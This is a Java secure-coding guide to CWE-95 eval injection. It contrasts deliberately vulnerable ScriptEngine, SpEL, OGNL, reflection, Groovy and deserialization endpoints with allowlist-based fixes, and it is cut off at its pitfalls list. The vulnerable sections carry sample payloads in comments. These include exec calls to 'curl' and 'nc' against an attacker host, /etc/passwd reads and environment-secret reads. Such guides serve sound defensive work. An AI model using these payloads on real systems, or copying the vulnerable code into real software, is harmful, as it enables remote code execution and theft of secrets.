CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') - Java
Overview
In Java applications, CWE-95 vulnerabilities occur when untrusted input is passed to dynamic code execution mechanisms such as scripting engines (JavaScript/Nashorn, Groovy, Python/Jython), reflection APIs, or expression languages (SpEL, OGNL, MVEL). Untrusted input can originate from HTTP requests, external APIs, databases, files, message queues, or any source outside the application's control. While Java doesn't have a built-in eval() function like Python or JavaScript, it provides various mechanisms for dynamic code execution that can be equally dangerous when misused.
Primary Defence: Never evaluate untrusted input with scripting engines (JSR-223), SpEL, OGNL, or MVEL. Map a name from the request to a predefined operation instead of building code from it, use Spring's @Value with validated property sources rather than dynamic SpEL evaluation, avoid reflection-based invocation with untrusted class or method names, and use JSON rather than default Java serialization. Where an input still selects behaviour, check it against an allowlist before it reaches the lookup.
In practice these findings come from a handful of patterns: JSR-223 engines or GraalVM evaluating JavaScript for business rules, SpEL driving dynamic configuration in Spring applications, OGNL in Struts applications, MVEL for templating or rules engines, reflection-based plugin systems that take a class or method name from input, and default Java serialization over untrusted bytes. Each of them turns attacker-supplied input into behaviour inside the JVM, with the application's own privileges and classpath. Nashorn was removed from the JDK in Java 15, but equivalent risks remain when applications add scripting engines as dependencies or run on older JDKs.
The secure patterns below replace dynamic code execution with predefined operation mappings, controlled class loading, restricted expression evaluation, and JSON deserialization.
Common Vulnerable Patterns
JavaScript Engine with Untrusted Input
// VULNERABLE - scripting engine executing untrusted input
import javax.script.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class CalculatorController {
private ScriptEngine engine = new ScriptEngineManager()
.getEngineByName("JavaScript"); // Present only when a JS engine is available
@PostMapping("/calculate")
public Map<String, Object> calculate(@RequestBody Map<String, String> request)
throws ScriptException {
String expression = request.get("expression");
// CRITICAL VULNERABILITY - executes arbitrary JavaScript
Object result = engine.eval(expression);
return Map.of("result", result);
}
}
// Attack examples:
// {"expression": "java.lang.Runtime.getRuntime().exec('whoami')"}
// {"expression": "new java.io.File('/etc/passwd').exists()"}
// {"expression": "java.lang.System.exit(0)"} // Crashes application
// All execute with full application privileges!
Why this is vulnerable: The engine is not a sandbox and was never sold as one. Nashorn exposed the whole JVM to script code by design, so java.lang.Runtime is reachable from "JavaScript" without any escape - the language boundary is a syntax boundary, not a privilege boundary. eval() also takes no timeout, so while(true){} holds a request thread indefinitely even where nothing is reachable.
Check whether the engine is present before triaging: Nashorn was deprecated in JDK 11 and removed in JDK 15, so on a current runtime getEngineByName("JavaScript") returns null unless the standalone org.openjdk.nashorn artifact or GraalVM's engine has been added to the classpath. A null engine turns this into a NullPointerException rather than execution - which is a reason to record the finding accurately, not a reason to leave the code.
Spring Expression Language (SpEL) Injection
// VULNERABLE - SpEL evaluation of untrusted input
import org.springframework.expression.*;
import org.springframework.expression.spel.standard.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class ConfigController {
private SpelExpressionParser parser = new SpelExpressionParser();
@PostMapping("/evaluate")
public Map<String, Object> evaluate(@RequestBody Map<String, String> request) {
String expression = request.get("expression");
// CRITICAL VULNERABILITY - SpEL executes arbitrary code
Expression exp = parser.parseExpression(expression);
Object result = exp.getValue();
return Map.of("result", result);
}
}
// Attack examples:
// {"expression": "T(java.lang.Runtime).getRuntime().exec('curl http://attacker.com')"}
// {"expression": "T(java.lang.System).getProperty('user.home')"}
// {"expression": "new java.io.File('/etc/passwd').exists()"}
// {"expression": "T(java.lang.System).exit(1)"}
// Allows arbitrary Java code execution!
Why this is vulnerable: The defect is the missing second argument. getValue() called with no EvaluationContext falls back to StandardEvaluationContext, which enables the full language: type references through T(...), constructor invocation with new, bean lookups and property assignment. That is what makes T(java.lang.Runtime) resolve.
Spring ships SimpleEvaluationContext precisely to remove those, and the difference between the two is the entire fix. Because the permissive context is the default, a reviewer sees ordinary-looking code and nothing that reads as a security decision - the decision was made by omission.
OGNL Expression Evaluation
// VULNERABLE - OGNL expression evaluation
import ognl.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class OgnlController {
@PostMapping("/ognl-eval")
public Map<String, Object> evaluateOgnl(@RequestBody Map<String, String> request)
throws OgnlException {
String expression = request.get("expression");
// CRITICAL VULNERABILITY - OGNL executes arbitrary code
Object result = Ognl.getValue(expression, new Object());
return Map.of("result", result);
}
}
// Attack examples:
// {"expression": "@java.lang.Runtime@getRuntime().exec('nc attacker.com 4444')"}
// {"expression": "@java.lang.System@getProperty('user.name')"}
// Full access to Java runtime and system!
Why this is vulnerable: OGNL reaches static methods directly through its @class@method syntax, so no object graph needs to be traversed to get to Runtime. This is the engine behind the Struts 2 remote-execution advisories - S2-045 and S2-057 among them - and that history is the point: OGNL's protection has been a denylist of blocked classes and expression forms, and it has been bypassed repeatedly by finding a form the list did not anticipate.
A control with that record is not one to tune. Where the expression comes from a request, the fix is to stop evaluating it rather than to filter it.
Reflection-Based Dynamic Method Invocation
// VULNERABLE - Reflection with untrusted class/method names
import org.springframework.web.bind.annotation.*;
import java.lang.reflect.*;
@RestController
public class PluginController {
@PostMapping("/invoke")
public Map<String, Object> invokeMethod(@RequestBody Map<String, String> request)
throws Exception {
String className = request.get("className");
String methodName = request.get("methodName");
String param = request.get("parameter");
// CRITICAL VULNERABILITY - arbitrary class and method invocation
Class<?> clazz = Class.forName(className);
Method method = clazz.getMethod(methodName, String.class);
Object result = method.invoke(null, param);
return Map.of("result", result);
}
}
// Attack examples. Each one matches the call shape above - a public static
// method taking exactly one String - which is what makes them reachable.
// Measured on JDK 26:
// {
// "className": "java.lang.System",
// "methodName": "getenv",
// "parameter": "PATH"
// } → returns the value. Swap PATH for AWS_SECRET_ACCESS_KEY or
// DATABASE_URL and the endpoint reads the process environment.
//
// {
// "className": "java.lang.System",
// "methodName": "load",
// "parameter": "/var/uploads/payload.so"
// } → loads a native library from an absolute path and runs its
// JNI_OnLoad. This is the code-execution case, gated only on the
// attacker getting a file onto disk - an upload endpoint will do.
//
// {
// "className": "java.lang.Class",
// "methodName": "forName",
// "parameter": "com.example.AnyClass"
// } → runs that class's static initializer. Note this is the *argument*
// doing it, on top of what className already does - see below.
//
// Runtime.getRuntime and System.exit are the examples usually given here
// and neither works: getMethod asks for a (String) overload, so both throw
// NoSuchMethodException before anything is invoked. That does not make the
// endpoint safe, and reaching for those two is how a real finding gets
// argued away.
Why this is vulnerable: The signature constraint looks like a limit and is not one. getMethod(name, String.class) plus invoke(null, param) only reaches public static methods taking one String, which still includes plenty worth reaching, and the constraint is on the shape of the call rather than on whether the class should be callable at all.
Class.forName() is the part most reviews miss: it initializes the class, so static initializers run as soon as the name is resolved and before any method is invoked. Naming a class is therefore already an effect, and a check placed between forName() and invoke() is too late. The fix is an allowlist of permitted class names consulted before the lookup.
Groovy Script Evaluation
// VULNERABLE - Groovy script execution
import groovy.lang.*;
import org.springframework.web.bind.annotation.*;
@RestController
public class GroovyController {
private GroovyShell shell = new GroovyShell();
@PostMapping("/run-script")
public Map<String, Object> runScript(@RequestBody Map<String, String> request) {
String script = request.get("script");
// CRITICAL VULNERABILITY - executes arbitrary Groovy code
Object result = shell.evaluate(script);
return Map.of("result", result);
}
}
// Attack examples:
// {"script": "\"whoami\".execute().text"}
// {"script": "new File('/etc/passwd').text"}
// {"script": "System.exit(0)"}
// Full Groovy scripting capabilities available to attacker!
Why this is vulnerable: Groovy is a JVM language with full access to the platform, and its convenience methods make the shortest path to a shell a single expression - "whoami".execute() is idiomatic Groovy, not a trick.
SecureASTCustomizer is the usual proposal and does not close this. It filters the abstract syntax tree at compile time, so it can forbid an import or a token, but it cannot see a call assembled at runtime through reflection or dynamic dispatch. There is a second cost even where nothing escapes: evaluate() compiles a new class per call, and a caller controlling the script controls how much metaspace the JVM consumes.
Unsafe Deserialization
// VULNERABLE - Java deserialization of untrusted data
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.util.Base64;
@RestController
public class DeserializeController {
@PostMapping("/deserialize")
public Map<String, Object> deserialize(@RequestBody Map<String, String> request)
throws Exception {
String data = request.get("data");
byte[] bytes = Base64.getDecoder().decode(data);
// CRITICAL VULNERABILITY - deserializes untrusted data
try (ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(bytes))) {
Object obj = ois.readObject();
return Map.of("object", obj.toString());
}
}
}
// Attack: Craft malicious serialized object using ysoserial
// Gadget chains in Apache Commons Collections, Spring, etc.
// Can execute arbitrary code during deserialization!
Why this is vulnerable: readObject() reconstructs whatever the byte stream describes, and it does so before returning anything the application could inspect - so a type check written after this line has already lost. The application does not need a vulnerable class of its own; it needs a gadget chain somewhere on the classpath, which is usually contributed by a transitive dependency nobody chose deliberately. That is what ysoserial automates.
This one has its own page: see CWE-502 for the full treatment, including ObjectInputFilter, which is the runtime control on Java 9 and later. It appears here because a finding of "code injection" often lands on this pattern, and because the remediation is the same in shape - stop interpreting attacker-supplied structure as instructions.
Secure Patterns
Safe Expression Evaluation with Allowlist
// SECURE - Predefined operations without code execution
import org.springframework.web.bind.annotation.*;
import java.util.*;
import java.util.function.BiFunction;
@RestController
public class SafeCalculatorController {
// Explicit allowlist of safe operations
private static final Map<String, BiFunction<Double, Double, Double>> OPERATIONS =
Map.of(
"add", (a, b) -> a + b,
"subtract", (a, b) -> a - b,
"multiply", (a, b) -> a * b,
"divide", (a, b) -> {
if (b == 0) throw new IllegalArgumentException("Division by zero");
return a / b;
},
"power", (a, b) -> {
if (Math.abs(b) > 100) {
throw new IllegalArgumentException("Exponent too large");
}
return Math.pow(a, b);
}
);
@PostMapping("/calculate")
public Map<String, Object> calculate(@RequestBody CalculateRequest request) {
// Validate inputs
if (request.getOperation() == null ||
request.getA() == null ||
request.getB() == null) {
throw new IllegalArgumentException("Missing required parameters");
}
// Check operation is in allowlist
BiFunction<Double, Double, Double> operation =
OPERATIONS.get(request.getOperation());
if (operation == null) {
throw new IllegalArgumentException(
"Invalid operation: " + request.getOperation()
);
}
// Execute safe operation
Double result = operation.apply(request.getA(), request.getB());
return Map.of("result", result);
}
// DTO for type-safe request binding
public static class CalculateRequest {
private String operation;
private Double a;
private Double b;
// Getters and setters
public String getOperation() { return operation; }
public void setOperation(String operation) { this.operation = operation; }
public Double getA() { return a; }
public void setA(Double a) { this.a = a; }
public Double getB() { return b; }
public void setB(Double b) { this.b = b; }
}
}
// Security mechanisms:
// - Explicit allowlist of operations
// - No eval, ScriptEngine, or reflection
// - Type-safe DTOs
// - Input validation
// - Bounds checking
// Usage:
// POST /calculate {"operation": "add", "a": 5, "b": 3} → 8
// POST /calculate {"operation": "multiply", "a": 4, "b": 7} → 28
// Safely rejects:
// POST /calculate {"operation": "exec", ...} → "Invalid operation"
Why this works
The request names an operation; it never supplies the code for one. OPERATIONS maps a string key to a lambda written at development time, so the only thing a caller controls is which of the five entries runs and the two numbers it runs on. Nothing on this path interprets the input as code - no ScriptEngine, no reflection, and nothing compiled at request time.
The rest of the method bounds what reaches those lambdas. The CalculateRequest DTO binds a and b as Double, so a non-numeric value fails at binding rather than inside an operation; the null check rejects a request that omits a field; an operation name that was never registered comes back null from the map and is refused; and the exponent check on power stops one request asking for unbounded work.
Supporting more operations means adding an entry to the map, which is code a developer writes and reviews rather than an expression a caller sends. That is the difference from ScriptEngine.eval(), where the set of things that can run is whatever the language allows.
Safe Mathematical Expression Parser
// SECURE - Custom parser for safe math expressions
import org.springframework.web.bind.annotation.*;
import java.util.*;
import java.util.regex.*;
@RestController
public class SafeExpressionController {
@PostMapping("/evaluate")
public Map<String, Object> evaluate(@RequestBody Map<String, String> request) {
String expression = request.get("expression");
// Validate expression format
if (expression == null || expression.length() > 200) {
throw new IllegalArgumentException("Invalid expression");
}
try {
SafeExpressionEvaluator evaluator = new SafeExpressionEvaluator();
double result = evaluator.evaluate(expression);
return Map.of("result", result);
} catch (IllegalArgumentException e) {
throw new IllegalArgumentException("Invalid expression: " + e.getMessage());
}
}
}
/**
* Safe mathematical expression evaluator using recursive descent parser
* Supports: +, -, *, /, (), numbers only
* NO code execution, NO variables, NO functions
*/
class SafeExpressionEvaluator {
private String expression;
private int position;
public double evaluate(String expr) {
// Validate only allowed characters
if (!expr.matches("[0-9+\\-*/().\\s]+")) {
throw new IllegalArgumentException("Expression contains invalid characters");
}
this.expression = expr.replaceAll("\\s", "");
this.position = 0;
double result = parseExpression();
// Ensure we consumed the entire expression
if (position < expression.length()) {
throw new IllegalArgumentException("Unexpected characters at end");
}
return result;
}
private double parseExpression() {
double result = parseTerm();
while (position < expression.length()) {
char op = expression.charAt(position);
if (op == '+' || op == '-') {
position++;
double term = parseTerm();
result = (op == '+') ? result + term : result - term;
} else {
break;
}
}
return result;
}
private double parseTerm() {
double result = parseFactor();
while (position < expression.length()) {
char op = expression.charAt(position);
if (op == '*' || op == '/') {
position++;
double factor = parseFactor();
if (op == '*') {
result *= factor;
} else {
if (factor == 0) {
throw new IllegalArgumentException("Division by zero");
}
result /= factor;
}
} else {
break;
}
}
return result;
}
private double parseFactor() {
// Handle parentheses
if (position < expression.length() && expression.charAt(position) == '(') {
position++; // skip '('
double result = parseExpression();
if (position >= expression.length() || expression.charAt(position) != ')') {
throw new IllegalArgumentException("Missing closing parenthesis");
}
position++; // skip ')'
return result;
}
// Handle unary minus
if (position < expression.length() && expression.charAt(position) == '-') {
position++;
return -parseFactor();
}
// Parse number
return parseNumber();
}
private double parseNumber() {
int start = position;
while (position < expression.length() &&
(Character.isDigit(expression.charAt(position)) ||
expression.charAt(position) == '.')) {
position++;
}
if (start == position) {
throw new IllegalArgumentException("Expected number at position " + position);
}
String numberStr = expression.substring(start, position);
try {
return Double.parseDouble(numberStr);
} catch (NumberFormatException e) {
throw new IllegalArgumentException("Invalid number: " + numberStr);
}
}
}
// Safe expressions:
// "2 + 2" → 4
// "3 * (4 + 5)" → 27
// "10 / 2 - 3" → 2
// Safely rejects:
// "Runtime.getRuntime()" → "Invalid characters"
// "exec('ls')" → "Invalid characters"
Why this works
This pattern prevents eval injection by implementing a custom recursive descent parser that understands only mathematical syntax. Unlike ScriptEngine.eval() which interprets the full JavaScript language including imports, function calls, and object access, this parser recognizes only numbers, parentheses, and basic arithmetic operators. The character allowlist validation [0-9+\-*/().\s]+ ensures that dangerous constructs like "Runtime.getRuntime()" or "System.exit()" are rejected before parsing even begins, preventing any attempt to inject Java code.
The recursive descent breaks the input down by precedence level and computes as it goes. Each parsing method (parseExpression, parseTerm, parseFactor) handles one precedence level and validates the syntax at every step. Division by zero is caught explicitly, and the parser ensures all parentheses are balanced. Because the parser never calls external libraries or reflection APIs, there's no code path that could execute arbitrary Java code - it only performs arithmetic calculations on numeric values.
Parsing and evaluation happen in a single pass, with nothing compiled. The parser can be extended with further mathematical functions - sqrt, sin, cos - by adding parsing methods, and the grammar stays closed while you do: it has no production that names a Java type. That is the argument for writing one rather than reaching for a general evaluator - the set of expressions it accepts is exactly what the grammar spells out.
If you would rather take a library than maintain a parser, be careful which kind you are taking, because the two options usually named together are not comparable:
- exp4j is a maths-only parser and is the like-for-like swap: its grammar has no way to name a Java type, so the guarantee above survives. Weigh its age before adopting it -
net.objecthunter:exp4jis still at 0.4.8, released January 2017. - JEXL is a general expression and scripting language, not a maths parser, so it is a much larger surface and needs configuring. The setting to reach for is not
safe:JexlBuilder.safe(boolean)controls whether dereferencing null in a navigation expression returns null or throws, and Apache's own javadoc recommendssafe(false)as the explicit default - it has nothing to do with what an expression can reach. The controls that do areJexlBuilder.permissions(JexlPermissions)andJexlBuilder.features(JexlFeatures). Measured on commons-jexl3 3.6.2, the default permissions are already reasonable on the reachability half -''.getClass().forName('java.lang.Runtime')resolves tonullandnew('java.io.File', ...)is unsolvable - but the defaults will happily runwhile(true){}, which held the calling thread until the harness gave up on it. Adding.permissions(JexlPermissions.RESTRICTED).features(new JexlFeatures().loops(false).newInstance(false).script(false))rejects that at parse time with aloop error, rejectsnew(...)with acreate instance error, and still evaluates2 + 3 * 4to 14. Availability is the half people forget here, because a maths parser cannot express an infinite loop and JEXL can.
Controlled Plugin System with Allowlist
// SECURE - Plugin system with interface and allowlist
import org.springframework.http.HttpStatus;
import org.springframework.stereotype.Service;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.server.ResponseStatusException;
import java.util.*;
/**
* Plugin interface that all plugins must implement
*/
public interface Plugin {
String getName();
Map<String, Object> execute(Map<String, Object> parameters);
}
/**
* Safe plugin loader with allowlist
*/
@Service
public class SafePluginLoader {
// Explicit allowlist of approved plugin classes
private static final Map<String, String> ALLOWED_PLUGINS = Map.of(
"dataValidator", "com.example.plugins.DataValidatorPlugin",
"reportGenerator", "com.example.plugins.ReportGeneratorPlugin",
"emailSender", "com.example.plugins.EmailSenderPlugin"
);
// Cache loaded plugins
private final Map<String, Plugin> pluginCache = new HashMap<>();
/**
* Load a plugin by name from the allowlist
*/
public Plugin loadPlugin(String pluginName) {
// Check allowlist
String className = ALLOWED_PLUGINS.get(pluginName);
if (className == null) {
throw new IllegalArgumentException("Plugin not allowed: " + pluginName);
}
// Check cache
if (pluginCache.containsKey(pluginName)) {
return pluginCache.get(pluginName);
}
try {
// Load only the allowlisted class
Class<?> clazz = Class.forName(className);
// Verify it implements Plugin interface
if (!Plugin.class.isAssignableFrom(clazz)) {
throw new IllegalArgumentException(
"Class does not implement Plugin interface: " + className
);
}
// Instantiate
Plugin plugin = (Plugin) clazz.getDeclaredConstructor().newInstance();
// Cache and return
pluginCache.put(pluginName, plugin);
return plugin;
} catch (ReflectiveOperationException e) {
throw new IllegalArgumentException("Failed to load plugin: " + pluginName, e);
}
}
/**
* Execute a plugin by name
*/
public Map<String, Object> executePlugin(
String pluginName,
Map<String, Object> parameters) {
// Validate parameters
validateParameters(parameters);
// Load and execute
Plugin plugin = loadPlugin(pluginName);
return plugin.execute(parameters);
}
private void validateParameters(Map<String, Object> parameters) {
if (parameters == null) {
return;
}
// Validate all values are safe types
for (Map.Entry<String, Object> entry : parameters.entrySet()) {
Object value = entry.getValue();
if (value != null &&
!(value instanceof String ||
value instanceof Number ||
value instanceof Boolean)) {
throw new IllegalArgumentException(
"Invalid parameter type: " + value.getClass()
);
}
}
}
}
@RestController
public class PluginController {
private final SafePluginLoader pluginLoader;
public PluginController(SafePluginLoader pluginLoader) {
this.pluginLoader = pluginLoader;
}
@PostMapping("/run-plugin")
public Map<String, Object> runPlugin(@RequestBody PluginRequest request) {
try {
Map<String, Object> result = pluginLoader.executePlugin(
request.getPluginName(),
request.getParameters()
);
return result;
} catch (IllegalArgumentException e) {
throw new ResponseStatusException(
HttpStatus.BAD_REQUEST,
e.getMessage()
);
}
}
public static class PluginRequest {
private String pluginName;
private Map<String, Object> parameters;
// Getters and setters
public String getPluginName() { return pluginName; }
public void setPluginName(String name) { this.pluginName = name; }
public Map<String, Object> getParameters() { return parameters; }
public void setParameters(Map<String, Object> params) { this.parameters = params; }
}
}
// Usage:
// POST /run-plugin {
// "pluginName": "dataValidator",
// "parameters": {"data": "test"}
// }
// Safely rejects:
// POST /run-plugin {"pluginName": "java.lang.Runtime"}
// → "Plugin not allowed"
Why this works:
Untrusted input selects a plugin here; it does not name a class. ALLOWED_PLUGINS maps the request's pluginName to one of three class names that are constants in the source, so Class.forName() only ever receives a string a developer vetted. A request naming java.lang.Runtime matches no entry and is refused before any class is loaded.
Plugin.class.isAssignableFrom(clazz) runs before newInstance(), so a class that is on the allowlist but no longer implements the interface is rejected rather than constructed. Parameter type validation restricts plugin inputs to String, Number and Boolean, which matters because the plugin, not the loader, is where those values get used.
The pluginCache is a performance optimisation and nothing more. It is worth saying plainly, because the opposite is often assumed: the JVM runs a class's static initializer once per classloader, on first active use, so caching the instance does not change how many times static initialization happens. What the cache saves is the Class.forName lookup and the constructor call.
Compare this to sanitizing a user-supplied class name. The allowlist is the stronger control because the untrusted string is only ever a key: it never reaches Class.forName, so there is no name syntax to get wrong and no static initializer runs as a side effect of resolving it. That is not the same as saying nothing can go wrong - see the Common Pitfalls entry below on a class allowlist without a method allowlist. What the allowlist removes is the attacker's choice of which class, which is the part this CWE is about. The allowlist itself must stay in the source or in configuration the application trusts; populating it from the same request that names the plugin gives the whole thing back.
Safe Configuration with Properties/YAML
// SECURE - Safe configuration loading without code execution
import org.springframework.web.bind.annotation.*;
import com.fasterxml.jackson.core.type.TypeReference;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.dataformat.yaml.YAMLFactory;
import java.io.StringReader;
import java.util.*;
@RestController
public class ConfigController {
private final ObjectMapper jsonMapper = new ObjectMapper();
private final ObjectMapper yamlMapper = new ObjectMapper(new YAMLFactory());
@PostMapping("/load-config")
public Map<String, Object> loadConfig(@RequestBody ConfigRequest request) {
String format = request.getFormat();
String configData = request.getData();
// Validate input
if (configData == null || configData.length() > 1_000_000) {
throw new IllegalArgumentException("Invalid config data");
}
try {
Map<String, Object> config;
if ("json".equals(format)) {
// Parse JSON as data into a Map/DTO; validate the result before use.
config = jsonMapper.readValue(
configData,
new TypeReference<Map<String, Object>>() {}
);
} else if ("yaml".equals(format)) {
// YAML with Jackson into Map/DTO data; keep polymorphic binding disabled.
config = yamlMapper.readValue(
configData,
new TypeReference<Map<String, Object>>() {}
);
} else if ("properties".equals(format)) {
// Java Properties format (safe)
Properties props = new Properties();
props.load(new StringReader(configData));
config = new HashMap<>();
for (String key : props.stringPropertyNames()) {
config.put(key, props.getProperty(key));
}
} else {
throw new IllegalArgumentException("Invalid format: " + format);
}
// Validate config contains only safe types
validateSafeTypes(config, 0);
return Map.of("config", config);
} catch (Exception e) {
throw new IllegalArgumentException("Failed to parse config", e);
}
}
private void validateSafeTypes(Object obj, int depth) {
// Prevent deeply nested structures
if (depth > 10) {
throw new IllegalArgumentException("Config too deeply nested");
}
if (obj instanceof Map) {
Map<?, ?> map = (Map<?, ?>) obj;
for (Map.Entry<?, ?> entry : map.entrySet()) {
validateSafeTypes(entry.getValue(), depth + 1);
}
} else if (obj instanceof List) {
List<?> list = (List<?>) obj;
for (Object item : list) {
validateSafeTypes(item, depth + 1);
}
} else if (!(obj instanceof String ||
obj instanceof Number ||
obj instanceof Boolean ||
obj == null)) {
throw new IllegalArgumentException(
"Unsafe type in config: " + obj.getClass()
);
}
}
public static class ConfigRequest {
private String format;
private String data;
public String getFormat() { return format; }
public void setFormat(String format) { this.format = format; }
public String getData() { return data; }
public void setData(String data) { this.data = data; }
}
}
// NEVER use unsafe YAML constructors or polymorphic binding for untrusted data.
// With SnakeYAML, choose SafeConstructor/SafeLoader-style APIs and validate the result.
// new ObjectInputStream(input).readObject() // Deserialization vulnerability
Why this works
This pattern prevents code injection during configuration loading by treating configuration as data and binding it to explicit structures. Jackson JSON/YAML parsing into Map<String, Object> or concrete DTOs does not require executing user-provided expressions or native Java serialization streams. Keep Jackson default typing and broad polymorphic deserialization disabled for untrusted input, and validate the resulting values. The Java Properties format is data-only for the same reason: it carries string key-value pairs and nothing else.
The type validation layer ensures configuration contains only safe primitive types (String, Number, Boolean, null) and standard collections. By recursively validating the entire configuration tree, the code prevents injection of dangerous objects that might have custom toString() or hashCode() methods that execute code. Depth limits prevent denial-of-service attacks through deeply nested structures that could cause stack overflow, while size limits prevent memory exhaustion.
For richer configuration, Spring's @ConfigurationProperties binds properties to POJOs with validation annotations, which gives the same type safety declaratively instead of through a hand-written check. Either way the principle is the one to hold on to: configuration is data, never code - a caller supplies values, not instructions.
Safe Deserialization with JSON
// SECURE - JSON deserialization instead of Java serialization
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import org.springframework.web.bind.annotation.*;
import java.util.*;
@RestController
public class SafeDeserializeController {
private final ObjectMapper objectMapper = new ObjectMapper();
@PostMapping("/save-data")
public Map<String, Object> saveData(@RequestBody UserData userData) {
try {
// Serialize to JSON (safe)
String json = objectMapper.writeValueAsString(userData);
// Store in database or cache
return Map.of("saved", json);
} catch (Exception e) {
throw new IllegalArgumentException("Serialization failed", e);
}
}
@PostMapping("/load-data")
public Map<String, Object> loadData(@RequestBody Map<String, String> request) {
String json = request.get("data");
try {
// Deserialize from JSON (safe, no code execution)
UserData userData = objectMapper.readValue(json, UserData.class);
return Map.of("user", userData);
} catch (Exception e) {
throw new IllegalArgumentException("Deserialization failed", e);
}
}
// DTO with explicit fields
public static class UserData {
private Long userId;
private String username;
private String email;
// Getters and setters
public Long getUserId() { return userId; }
public void setUserId(Long id) { this.userId = id; }
public String getUsername() { return username; }
public void setUsername(String name) { this.username = name; }
public String getEmail() { return email; }
public void setEmail(String email) { this.email = email; }
}
}
// NEVER use for untrusted data:
// ObjectInputStream.readObject()
// XMLDecoder.readObject()
// XStream.fromXML() without security framework
Why this works
This pattern eliminates deserialization vulnerabilities by replacing Java's native serialization with JSON. Java's ObjectInputStream is fundamentally unsafe with untrusted data because it can trigger code execution during deserialization through gadget chains - sequences of method calls in common libraries like Apache Commons Collections that lead to arbitrary code execution. JSON, by contrast, is a pure data format that has no mechanism for encoding executable code or object constructors. Jackson deserializes JSON into Java objects by calling setters and constructors, not by reconstituting arbitrary serialized object graphs.
An explicit DTO gives Jackson a fixed target: UserData declares three fields, and those are the ones the deserializer populates. Keep polymorphic type handling disabled for untrusted input unless it is constrained to a small allowlist of expected subtypes.
Where Java serialization is already in place for session storage, caching, or inter-service communication, migrating to JSON is usually straightforward. If you need to preserve object relationships or support polymorphism, use Jackson's @JsonTypeInfo only with an allowlist of safe classes. For most cases simple DTOs are enough, and they take the native-deserialization gadget-chain risk off that input path.
Spring SpEL with SimpleEvaluationContext
// SECURE - Restricted SpEL evaluation (if absolutely necessary)
import org.springframework.expression.*;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import org.springframework.expression.common.TemplateParserContext;
import org.springframework.web.bind.annotation.*;
import java.util.*;
@RestController
public class SafeSpelController {
private final SpelExpressionParser parser = new SpelExpressionParser();
@PostMapping("/evaluate-template")
public Map<String, Object> evaluateTemplate(@RequestBody TemplateRequest request) {
// Pre-defined template (NOT untrusted input!)
// #{...} is template syntax, and #name inside it is a SpEL variable
// reference - both halves matter, see the parse call below.
String template = "Hello #{#name}, your order ##{#orderId} total is #{#total}";
// Map.of throws NullPointerException on a null value, so an absent
// field would surface as a 500 rather than a 400. Reject it first.
if (request.getName() == null
|| request.getOrderId() == null
|| request.getTotal() == null) {
throw new IllegalArgumentException("Missing required field");
}
// User provides data, not template
Map<String, Object> context = Map.of(
"name", request.getName(),
"orderId", request.getOrderId(),
"total", request.getTotal()
);
// Validate context values
validateContext(context);
try {
// Use SimpleEvaluationContext (restricted, no type references)
EvaluationContext evalContext = SimpleEvaluationContext
.forReadOnlyDataBinding()
.build();
// Set variables
for (Map.Entry<String, Object> entry : context.entrySet()) {
evalContext.setVariable(entry.getKey(), entry.getValue());
}
// Parse as a template, not as a single expression. Without a
// ParserContext the parser reads the whole string as one SpEL
// expression and fails on the literal text around the placeholders.
Expression exp = parser.parseExpression(
template, new TemplateParserContext());
String result = exp.getValue(evalContext, String.class);
return Map.of("result", result);
} catch (Exception e) {
throw new IllegalArgumentException("Evaluation failed", e);
}
}
private void validateContext(Map<String, Object> context) {
for (Object value : context.values()) {
if (value != null &&
!(value instanceof String ||
value instanceof Number ||
value instanceof Boolean)) {
throw new IllegalArgumentException(
"Invalid context value type: " + value.getClass()
);
}
}
}
public static class TemplateRequest {
private String name;
private Long orderId;
private Double total;
// Getters and setters
public String getName() { return name; }
public void setName(String name) { this.name = name; }
public Long getOrderId() { return orderId; }
public void setOrderId(Long id) { this.orderId = id; }
public Double getTotal() { return total; }
public void setTotal(Double total) { this.total = total; }
}
}
// CRITICAL: Never use StandardEvaluationContext with untrusted input!
// StandardEvaluationContext - Allows T(java.lang.Runtime).getRuntime().exec()
// ✅ SimpleEvaluationContext - Restricted, safer
Why this works:
The whole of the difference is which EvaluationContext reaches getValue(). StandardEvaluationContext allows type references (T(java.lang.Runtime)), constructor calls, and access to bean factories - features that enable arbitrary code execution. SimpleEvaluationContext deliberately removes these capabilities, supporting only property access and method calls on the objects explicitly provided in the context. By using SimpleEvaluationContext with read-only data binding, the system ensures SpEL can only interpolate values, not execute code.
The security model relies on separating templates from data. The template structure is defined by trusted developers and hardcoded in the application ("Hello #{#name}, your order ##{#orderId} total is #{#total}"). Users provide only the data values (name, orderId, total) that populate the placeholders. SpEL resolves those variable references without executing methods or accessing the runtime. Context value validation ensures only safe primitive types are accepted, preventing injection of malicious objects with dangerous toString() methods.
Two details of the SpEL API are easy to get wrong here, and both fail loudly at parse or evaluation time rather than opening a hole. #{...} is template syntax, which only takes effect when a ParserContext is passed to parseExpression - without one the parser reads the whole string as a single expression and rejects the literal text around the placeholders. And a value registered with setVariable("name", ...) is referenced as #name; a bare name is a property lookup on the root object, which this context does not have.
This approach is appropriate for templating scenarios where the template structure is trusted but needs to be populated with dynamic data. For user-provided templates, even SimpleEvaluationContext is risky - use a dedicated template engine like Handlebars, Thymeleaf, or Freemarker instead, which are designed for rendering untrusted templates safely. Freemarker's own auto-escaping needs a version floor and explicit setup to actually apply: it requires Freemarker 2.3.24 or later for the outputFormat/autoEscapingPolicy settings, and it is off by default even on a current release - the default undefined output format does no escaping at all, so a template only gets auto-escaping when it is explicitly configured with an HTML/XML output format (or given a .ftlh/.ftlx extension with recognize_standard_file_extensions enabled). If you must use SpEL for configuration, ensure templates come from trusted sources (configuration files, database with access controls) and never directly from user input. The read-only data binding prevents modification of application state through SpEL expressions.
Common Pitfalls
- OGNL
